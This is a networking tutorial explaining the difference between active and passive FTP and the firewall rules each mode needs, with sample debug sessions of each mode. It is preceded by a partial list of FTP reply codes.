225 Data connection open; no transfer in progress.
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Too many users logged to the same account
425 Can't open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken. File unavailable (e.g., file busy).
451 Requested action aborted: local error in processing.
452 Requested action not taken. Insufficient storage space in system.
500 Syntax error, command unrecognized. This may include errors such as command line too long.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. File unavailable (e.g., file not found, no access).
551 Requested action aborted: page type unknown.
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).
553 Requested action not taken. File name not allowed.


 Active FTP vs. Passive FTP, a Definitive Explanation

Introduction
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.

This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...



The Basics
FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.



Active FTP
In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.

From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's port 20 to ports > 1024 (Server initiates data connection to client's data port)
FTP server's port 20 from ports > 1024 (Client sends ACKs to server's data port)


In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.

The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.



Active FTP Example
Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.


Passive FTP
In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.

In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's ports > 1024 from anywhere (Client initiates data connection to random port specified by server)
FTP server's ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client's data port)



In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.

While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.

The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.

With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.



Passive FTP Example
Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.


Summary
The following chart should help admins remember how each FTP mode works:

Active FTP :
command : client >1024 -> server 21
data : client >1024 <- server 20

Passive FTP :
command : client >1024 -> server 21
data : client >1024 -> server >1024

A quick summary of the pros and cons of active vs. passive FTP is also in order:

Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.

Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.